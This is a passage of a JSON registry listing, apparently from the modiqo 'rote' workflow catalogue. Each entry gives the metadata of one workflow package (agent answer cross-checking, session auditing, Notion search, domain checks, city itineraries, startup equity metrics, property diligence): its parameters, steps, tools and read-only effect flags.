provider","example":"google"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6d48bce249e54dd5836b2b4e0ec0b2807498d23e3b3c525260233592a53271ae","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":8,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/modiqo/second-opinion@0.1.1","reference":"modiqo/second-opinion@0.1.1","uri":"https://play.modiqo.ai/modiqo/second-opinion@0.1.1","manifest_uri":"https://play.modiqo.ai/modiqo/second-opinion@0.1.1","name":"second-opinion","title":"second-opinion","description":"Cross-examines one AI coding assistant's answer with a different assistant. Asks the first for a conclusion plus reasoning, gives the second the original question, the same material and the first answer, and asks whether it holds up and which single claim it would challenge first. Leads with the disagreement, then the verdict, then both reasonings. Refuses to run both roles as the same assistant.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-agent-operations","agent-operations","job-answer-review","audience-developers","effect-read-only"],"primary_domain":"domain-agent-operations","author":"rote clean-room authoring","version":"0.1.1","published_at":"2026-08-17T23:58:21.222529+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":21419,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":4,"names":["assign_roles","first_answer","second_opinion","survey_assistants"]},"parameters":[{"name":"question","type":"string","required":true,"description":"The question to put to both assistants, in your own words."},{"name":"material","type":"string","required":false,"default":"","description":"Optional path to a file, diff or directory. Both assistants are given read access and are told to open it themselves."},{"name":"answer_with","type":"string","required":false,"default":"","description":"Assistant that answers first (claude, codex or gemini). Chosen automatically when omitted."},{"name":"checked_by","type":"string","required":false,"default":"","description":"Assistant that checks the first answer. Must differ from answer_with; chosen automatically when omitted."},{"name":"timeout_seconds","type":"string","required":false,"default":"600","description":"Per-assistant wall-clock budget in seconds."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:217283ec74f0f440803159b82cfc54476a81591de49e18b3e3c1d386497597f6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/modiqo/agent-work-daily-close@1.0.1","reference":"modiqo/agent-work-daily-close@1.0.1","uri":"https://play.modiqo.ai/modiqo/agent-work-daily-close@1.0.1","manifest_uri":"https://play.modiqo.ai/modiqo/agent-work-daily-close@1.0.1","name":"agent-work-daily-close","title":"agent-work-daily-close","description":"Audits recent Codex, Claude Code, and Pi sessions for redacted credential exposure, normalized tool use, cross-session lineage, Git closure, and token-to-outcome attribution.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-agent-operations","agent-operations","job-agent-audit","audience-agent-operators","effect-read-only"],"primary_domain":"domain-agent-operations","author":"chetan","version":"1.0.1","published_at":"2026-08-17T23:57:09.831944+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":22873,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":5,"names":["audit_gate","collect_pi","collect_git","collect_codex","collect_claude"]},"parameters":[{"name":"since_hours","type":"integer","required":false,"default":24,"description":"Lookback window in hours, from 1 through 720"},{"name":"max_sessions","type":"integer","required":false,"default":50,"description":"Maximum sessions per harness, from 1 through 50"},{"name":"repo_path","type":"string","required":false,"default":".","description":"Local Git worktree used to verify commit and remote closure"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a4dd72e9dee7798f7590e535f283701d2422ff3741cdf811e1c32b77835474e0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":5},{"name":"crypto","kind":"library","source":"inferred","count":3},{"name":"fs","kind":"library","source":"inferred","count":3},{"name":"path","kind":"library","source":"inferred","count":3},{"name":"child_process","kind":"library","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/modiqo/search-notion@0.0.2","reference":"modiqo/search-notion@0.0.2","uri":"https://play.modiqo.ai/modiqo/search-notion@0.0.2","manifest_uri":"https://play.modiqo.ai/modiqo/search-notion@0.0.2","name":"search-notion","title":"search-notion","description":"Search Notion workspace pages for a topic and summarize the most relevant hits.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-workplace","workplace-automation","job-knowledge-search","tool-notion","effect-read-only"],"primary_domain":"domain-workplace","author":"Chetan Conikee","version":"0.0.2","published_at":"2026-08-17T23:58:19.639442+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2875,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":2,"names":["search_pages","auth_notion_mcp"]},"parameters":[{"name":"query","type":"string","required":true,"description":"Topic or keyword to search for in the Notion workspace."},{"name":"page_size","type":"integer","required":false,"default":10,"description":"Maximum number of search results to return, 1-25."},{"name":"max_highlight_length","type":"integer","required":false,"default":300,"description":"Maximum highlight length per result, 0-500."}],"execution":{"adapters":[{"id":"modiqo/notion-mcp","name":"notion-mcp","version":null,"credential_status":"required"},{"id":"notion-mcp","name":"notion-mcp","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2fa9e87a7ba7914e5b9fd9b80f1a7402e7fcae880b435a334071b4874265fed5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":1,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"notion-mcp","steps":2,"methods":["notion-search"],"display_name":"Notion MCP","host":"mcp.notion.com/mcp","kind":"mcp","tools":28,"fingerprint":"mcp_2DsS5uByexhzVzm99m2jMYK77bYE","source":"modiqo/notion-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":28},"cost":{"api_tokens":32321,"context_tokens":3557,"exploration_ms":8805,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/modiqo/domain-provider-search@1.0.1","reference":"modiqo/domain-provider-search@1.0.1","uri":"https://play.modiqo.ai/modiqo/domain-provider-search@1.0.1","manifest_uri":"https://play.modiqo.ai/modiqo/domain-provider-search@1.0.1","name":"domain-provider-search","title":"domain-provider-search","description":"Checks domain registration evidence with authoritative RDAP and DNS, then ranks registrar providers with a transparent feature matrix. No provider login or API key is required.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-web-operations","web-operations","job-domain-selection","tool-rdap","effect-read-only"],"primary_domain":"domain-web-operations","author":"chetan","version":"1.0.1","published_at":"2026-08-17T23:57:29.606371+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":7345,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":1,"names":["domain_checks"]},"parameters":[{"name":"query","type":"string","required":true,"description":"One or more comma-separated domain names without extensions, for example acme or acme,getacme"},{"name":"tlds","type":"string","required":false,"default":"com,net,org,io,ai,dev,app","description":"Comma-separated extensions to check, without leading dots"},{"name":"profile","type":"string","required":false,"default":"builder","description":"Provider scoring profile: builder, small_business, aws_native, or budget"},{"name":"max_candidates","type":"integer","required":false,"default":20,"description":"Maximum domains to check, from 1 through 50"},{"name":"max_concurrency","type":"integer","required":false,"default":6,"description":"Maximum simultaneous lookups, from 1 through 10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4428988d878c353c24ba045700f08d3dfb3b101a9a0971c1d3fbb2e3b674feb6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"check_domain","kind":"tool","source":"inferred","count":1},{"name":"clean_csv","kind":"tool","source":"inferred","count":1},{"name":"curl","kind":"tool","source":"inferred","count":1},{"name":"data.iana.org","kind":"host","source":"inferred","count":1},{"name":"def","kind":"tool","source":"inferred","count":1},{"name":"jq","kind":"tool","source":"inferred","count":1},{"name":"sh","kind":"tool","source":"declared","count":1},{"name":"unique","kind":"tool","source":"inferred","count":1},{"name":"verify","kind":"tool","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/modiqo/friction-free-city-micro-adventure@0.0.1","reference":"modiqo/friction-free-city-micro-adventure@0.0.1","uri":"https://play.modiqo.ai/modiqo/friction-free-city-micro-adventure@0.0.1","manifest_uri":"https://play.modiqo.ai/modiqo/friction-free-city-micro-adventure@0.0.1","name":"friction-free-city-micro-adventure","title":"friction-free-city-micro-adventure","description":"Builds a realistic low-friction micro-itinerary for a city from available time, budget, mobility, weather tolerance and interests. Resolves the city, reads live forecast and air quality, ranks candidate venues by geodesic travel feasibility, verifies venue pages in a browser, and reports a scheduled plan with budget totals.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["typescript","city","itinerary","travel","weather","browser","open-meteo-geocoding","open-meteo","open-meteo-air-quality","open-meteo-elevation","playwright"],"primary_domain":"domain-uncategorized","author":"Debasish Ghosh","version":"0.0.1","published_at":"2026-08-19T12:22:30.118338+00:00","visibility":"public","quality_score":0.800000011920929,"size_bytes":40172,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":18,"names":["plan","forecast","reachable","elevations","air_quality","resolve_city","verify1_open","verify1_wait","verify2_open","verify2_wait","verify3_open","verify3_wait","verify1_links","verify2_links","verify3_links","verify1_headings","verify2_headings","verify3_headings"]},"parameters":[{"name":"city","type":"string","required":true,"description":"City to explore, for example Lisbon or Amsterdam"},{"name":"minutes","type":"integer","required":true,"description":"Total time available in minutes, door to door"},{"name":"budget","type":"string","required":false,"default":"0","description":"Maximum spend per person, decimals allowed; 0 means no cap"},{"name":"currency","type":"string","required":false,"default":"EUR","description":"ISO currency code used for budget totals"},{"name":"mobility","type":"string","required":false,"default":"walk","description":"Movement between stops - walk, wheelchair, bike or transit"},{"name":"weather_tolerance","type":"string","required":false,"default":"medium","description":"Tolerance for rain, heat and cold - low, medium or high"},{"name":"interests","type":"string","required":false,"default":"","description":"Comma-separated interest tags such as art,coffee,viewpoint; empty means no interest filter"},{"name":"start_time","type":"string","required":false,"default":"","description":"Local start time as HH:MM; empty means the next full hour in the city"},{"name":"date","type":"string","required":false,"default":"","description":"Local date as YYYY-MM-DD; empty means today in the city timezone"},{"name":"max_stops","type":"integer","required":false,"default":"4","description":"Maximum number of stops in the itinerary"},{"name":"verify_limit","type":"integer","required":false,"default":"2","description":"How many venue pages to verify in the browser, 0 to 3"},{"name":"catalog","type":"string","required":false,"default":"","description":"Absolute path to a venue catalogue JSON; empty uses the packaged catalogue"}],"execution":{"adapters":[{"id":"modiqo/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"modiqo/open-meteo-air-quality","name":"open-meteo-air-quality","version":null,"credential_status":"none"},{"id":"modiqo/open-meteo-elevation","name":"open-meteo-elevation","version":null,"credential_status":"none"},{"id":"modiqo/open-meteo-geocoding","name":"open-meteo-geocoding","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"open-meteo-elevation","name":"open-meteo-elevation","version":null,"credential_status":"none"},{"id":"open-meteo-air-quality","name":"open-meteo-air-quality","version":null,"credential_status":"none"},{"id":"open-meteo-geocoding","name":"open-meteo-geocoding","version":null,"credential_status":"none"}],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3207493607bbb87df4c3ffdd36349597c996f31175450815ee300946956fdc62","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":18,"kinds":{"api":4,"shell":2,"browser":12,"auth":0,"other":0},"distinct_kinds":3,"depth":15,"width":4,"fan_out":0,"for_each_steps":0,"complexity":54,"apis":[{"adapter":"open-meteo","steps":1,"methods":["get_v1_forecast"],"display_name":"open-meteo","host":"api.open-meteo.com","kind":"rest","tools":1,"fingerprint":"mcp_2YgsU84PjXRHyP7ALsx5a5QE2FBy","source":"modiqo/open-meteo","version":"1.0.0","protocol":null,"credentials":[]},{"adapter":"open-meteo-air-quality","steps":1,"methods":["get_v1_air_quality"],"display_name":"open-meteo-air-quality","host":"air-quality-api.open-meteo.com","kind":"rest","tools":1,"fingerprint":"mcp_3tECNj8HnPSaQVYNV1G9NsGjtGvG","source":"modiqo/open-meteo-air-quality","version":"1.0.0","protocol":null,"credentials":[]},{"adapter":"open-meteo-elevation","steps":1,"methods":["get_v1_elevation"],"display_name":"open-meteo-elevation","host":"api.open-meteo.com","kind":"rest","tools":1,"fingerprint":"mcp_2mVDJWmFUDeY87GWyaGA1LNQ77d9","source":"modiqo/open-meteo-elevation","version":"1.0.0","protocol":null,"credentials":[]},{"adapter":"open-meteo-geocoding","steps":1,"methods":["searchLocations"],"display_name":"open-meteo-geocoding","host":"geocoding-api.open-meteo.com","kind":"rest","tools":1,"fingerprint":"mcp_3JXYNSxiPQYoAEy37jwsDonpenSW","source":"modiqo/open-meteo-geocoding","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"browser","kind":"tool","source":"declared","count":12},{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":4,"tools":4},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/modiqo/startup-equity-health@0.2.1","reference":"modiqo/startup-equity-health@0.2.1","uri":"https://play.modiqo.ai/modiqo/startup-equity-health@0.2.1","manifest_uri":"https://play.modiqo.ai/modiqo/startup-equity-health@0.2.1","name":"startup-equity-health","title":"startup-equity-health","description":"Computes startup equity-health metrics for a private company and explains them for a prospective employee: capital efficiency (total raised / ARR), valuation multiple (valuation / ARR), liquidation preference stack share (raised / valuation), an acquisition payout waterfall across exit prices, post-lockup IPO scenarios, and an after-tax take-home (earn-out) estimate reflecting vesting cliff, 409A strike cost, and blended federal+state taxes — ending with the questions an employee should ask the employer. Each computation stage is its own DAG step with explicit value edges (the derived metrics flow from core_metrics into the waterfall, IPO, and take-home stages), so every intermediate number is inspectable per step. The invoking agent elicits the financial inputs from public web coverage before calling, and passes provenance via the sources parameter.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-startup","startup-decisions","job-equity-evaluation","audience-employees","effect-read-only"],"primary_domain":"domain-startup","author":"Chetan Conikee","version":"0.2.1","published_at":"2026-08-17T23:58:23.590241+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":11027,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":6,"names":["core_metrics","ipo_scenarios","validate_inputs","compose_assessment","take_home_estimate","acquisition_waterfall"]},"parameters":[{"name":"company","type":"string","required":true,"description":"Private company name being evaluated","example":"Lacework"},{"name":"valuation_usd","type":"string","required":true,"description":"Latest post-money valuation in USD (e.g. 44000000000). Elicit from the most recent funding-round coverage before calling.","example":"8300000000"},{"name":"total_raised_usd","type":"string","required":true,"description":"Total capital raised across all rounds in USD, a proxy for the 1x preferred liquidation stack. Elicit from Tracxn/Crunchbase-style coverage.","example":"1900000000"},{"name":"arr_usd","type":"string","required":true,"description":"Current annual recurring revenue in USD. Elicit from press reports or revenue trackers (Sacra, Getlatka); use the most recent credible figure.","example":"100000000"},{"name":"public_multiple","type":"string","required":false,"default":"10","description":"Conservative public-market ARR multiple used for the options-underwater breakeven (public software comps trade roughly 10x-18x ARR)","example":"10"},{"name":"employee_pct","type":"string","required":false,"default":"0.10","description":"Hypothetical employee fully-diluted ownership in percent (0.10 means 0.10%), used to simulate acquisition and IPO payouts","example":"0.10"},{"name":"vested_pct","type":"string","required":false,"default":"25","description":"Percent of the grant vested at exit (25 = the standard one-year cliff just hit on a 4-year schedule)","example":"25"},{"name":"strike_fraction","type":"string","required":false,"default":"0.30","description":"Option strike as a fraction of the last-round share price. Strike is set at the 409A fair-market value, typically 20-40% of the preferred price at late stage.","example":"0.30"},{"name":"tax_pct","type":"string","required":false,"default":"35","description":"Blended federal + average-state tax rate in percent applied to the exercise spread (NSO ordinary-income treatment; ISO/LTCG or QSBS can lower it)","example":"35"},{"name":"sources","type":"string","required":false,"default":"","description":"Provenance for the elicited inputs: semicolon-separated notes or URLs (e.g. 'valuation: techcrunch.com/...; arr: sacra.com/...')","example":"valuation: techcrunch.com/2024/01/roundup"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:42767313baef467a0f112b3430bea7ca880bb79bbbc79f00aa760d7a54df4fcc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":2,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/modiqo/property-public-record-quick-scan@0.1.3","reference":"modiqo/property-public-record-quick-scan@0.1.3","uri":"https://play.modiqo.ai/modiqo/property-public-record-quick-scan@0.1.3","manifest_uri":"https://play.modiqo.ai/modiqo/property-public-record-quick-scan@0.1.3","name":"property-public-record-quick-scan","title":"property-public-record-quick-scan","description":"Builds a provenance-preserving public-record evidence pack for a Texas or Miami property from one address, then identifies early acquisition risks and evidence gaps.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-property-tech","property-tech","job-public-record-review","tool-public-records","effect-read-only"],"primary_domain":"domain-property-tech","author":"Chetan","version":"0.1.3","published_at":"2026-08-17T23:58:08.029941+00:00","visibility":"public","quality_score":0.900000035762787,"size_bytes":12142,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["scan_public_records"]},"parameters":[{"name":"property","type":"string","required":true,"description":"Complete street address including city, state, and preferably ZIP code","example":"9108 Westerkirk Dr, Austin, TX 78750"},{"name":"market","type":"string","required":false,"default":"auto","description":"Market profile; auto infers Texas or Miami from the resolved jurisdiction","values":["auto","texas","miami"]},{"name":"max_results","type":"integer","required":false,"default":"5","description":"Maximum records retained per public evidence family, from 1 through 20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9be94c3c6134ed1fbc208078320247b797edc5c7c94b0ba70df9f407967ec1c5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"api.censusreporter.org","kind":"host","source":"inferred","count":1},{"name":"comptroller.texas.gov","kind":"host","source":"inferred","count":1},{"name":"data.austintexas.gov","kind":"host","source":"inferred","count":1},{"name":"deno","kind":"tool","source":"declared","count":1},{"name":"echogeo.epa.gov","kind":"host","source":"inferred","count":1},{"name":"geocoding.geo.census.gov","kind":"host","source":"inferred","count":1},{"name":"gisweb.miamidade.gov","kind":"host","source":"inferred","count":1},{"name":"hazards.fema.gov","kind":"host","source":"inferred","count":1},{"name":"services1.arcgis.com","kind":"host","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/modiqo/evaluate-agentic-web-search@0.3.1","reference":"modiqo/evaluate-agentic-web-search@0.3.1","uri":"https://play.modiqo.ai/modiqo/evaluate-agentic-web-search@0.3.1","manifest_uri":"https://play.modiqo.ai/modiqo/evaluate-agentic-web-search@0.3.1","name":"evaluate-agentic-web-search","title":"evaluate-agentic-web-search","description":"Evaluates final agent answers across isolated web-search arms with strict pilot and publication gates, traceable grading, human audits, confidence intervals, statistical ties, and Pareto reports.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["search-evaluation","agentic-search","parallel","benchmarking"],"primary_domain":"domain-uncategorized","author":"chetan","version":"0.3.1","published_at":"2026-09-01T06:01:32.835568+00:00","visibility":"public","quality_score":0.550000011920929,"size_bytes":54256,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":14,"names":["grade_answer","verify_pilot","render_report","inspect_config","run_pilot_case","prepare_project","build_run_matrix","inspect_gold_set","build_audit_queue","calculate_metrics","ingest_human_audit","read_parallel_auth","run_benchmark_case","read_parallel_version"]},"parameters":[{"name":"action","type":"string","required":false,"default":"run","description":"init creates a guided project, validate checks every input without provider calls, and run executes the evaluation"},{"name":"project_dir","type":"string","required":false,"default":"","description":"Guided project directory containing config.json, cases.jsonl, schemas, documentation, and dated run outputs"},{"name":"config_path","type":"string","required":false,"default":"","description":"Advanced override for config.json; project_dir supplies this path for the guided workflow"},{"name":"gold_set","type":"string","required":false,"default":"","description":"Advanced override for cases.jsonl; each line follows the bundled case schema and project_dir supplies the default path"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Advanced output override for immutable artifacts; action=run otherwise creates a dated directory under project_dir/runs"},{"name":"run_purpose","type":"string","required":false,"default":"pilot","description":"pilot permits small wiring checks and labels them not for ranking; publication enforces at least 100 reviewed cases, 3 repeats, a 10 percent audit, and live frozen methodology"},{"name":"repeats","type":"integer","required":false,"default":3,"description":"Independent runs per case and arm; accepted range 1 through 20, with at least 3 required for publication"},{"name":"pilot_count","type":"integer","required":false,"default":3,"description":"Varied cases per arm used to verify wiring before the benchmark; accepted range 1 through 20"},{"name":"audit_fraction","type":"string","required":false,"default":"0.10","description":"Fraction of graded runs selected for human review; accepted range greater than 0 through 1, with at least 0.10 required for publication"},{"name":"bootstrap_iterations","type":"integer","required":false,"default":2000,"description":"Bootstrap samples used for confidence intervals; accepted range 100 through 100000"},{"name":"seed","type":"integer","required":false,"default":42,"description":"Deterministic seed for case selection, audit sampling, and confidence intervals"},{"name":"audit_results","type":"string","required":false,"default":"","description":"Optional JSONL human-review decisions produced from the generated audit queue"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b8109412c81f7c6cb63f2ef1054941a778e5f0d312730bb2bdd82c10fb3c4a56","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":14,"kinds":{"api":0,"shell":14,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":11,"width":4,"fan_out":4,"for_each_steps":3,"complexity":14,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":14}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/modiqo/seller-narrative-cross-examiner@0.1.1","reference":"modiqo/seller-narrative-cross-examiner@0.1.1","uri":"https://play.modiqo.ai/modiqo/seller-narrative-cross-examiner@0.1.1","manifest_uri":"https://play.modiqo.ai/modiqo/seller-narrative-cross-examiner@0.1.1","name":"seller-narrative-cross-examiner","title":"seller-narrative-cross-examiner","description":"Cross-examines seller and listing claims against independently sourced property, association, permit, insurance, legal, and market evidence; labels each claim supported, mixed, unsupported, or unverified and converts gaps into document requests and offer protections.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-property-tech","property-tech","job-seller-claim-review","audience-property-buyers","effect-read-only"],"primary_domain":"domain-property-tech","author":"modiqo","version":"0.1.1","published_at":"2026-08-17T23:58:22.402989+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":17071,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["analyze","verify_output"]},"parameters":[{"name":"evidence_file","type":"string","required":true,"description":"Absolute path to a version-1 JSON evidence pack with subject identity, source provenance, signal attribution, and normalized decision signals; see the packaged README.md"},{"name":"market","type":"string","required":true,"description":"Market profile: texas or miami","values":["texas","miami"]},{"name":"strict","type":"string","required":false,"default":"false","description":"Set true to fail unless at least three independent source families are available","values":["true","false"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f670c7c2fcc114904d3a82a03927d44f3e48638a3b5b4c842afcd687b9ef65ad","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/condo-buyer-diligence@1.0.2","reference":"modiqo/condo-buyer-diligence@1.0.2","uri":"https://play.modiqo.ai/modiqo/condo-buyer-diligence@1.0.2","manifest_uri":"https://play.modiqo.ai/modiqo/condo-buyer-diligence@1.0.2","name":"condo-buyer-diligence","title":"condo-buyer-diligence","description":"Educates a prospective U.S. condo buyer from an address or area, purchase price, and intention. Runs public-source location and market checks in parallel, calculates mortgage and ownership scenarios, labels evidence quality, and returns a novice-readable report plus JSON.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-property-tech","property-tech","job-buyer-diligence","audience-property-buyers","effect-read-only"],"primary_domain":"domain-property-tech","author":"chetan","version":"1.0.2","published_at":"2026-08-17T23:57:22.267367+00:00","visibility":"public","quality_score":0.900000035762787,"size_bytes":10750,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["crime","flood","geocode","proximity","market_trend","mortgage_rate","mortgage_market","validate_inputs"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a4298249c813b52778edd511a72aeaf3ba8cc7ea14827941cf2b8a0c943c6119","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":5,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":8},{"name":"jq","kind":"tool","source":"inferred","count":8},{"name":"an","kind":"tool","source":"inferred","count":1},{"name":"cde.ucr.cjis.gov","kind":"host","source":"inferred","count":1},{"name":"clinic","kind":"tool","source":"inferred","count":1},{"name":"college","kind":"tool","source":"inferred","count":1},{"name":"confirm","kind":"tool","source":"inferred","count":1},{"name":"ffiec.cfpb.gov","kind":"host","source":"inferred","count":1},{"name":"fred.stlouisfed.org","kind":"host","source":"inferred","count":1},{"name":"geocoding.geo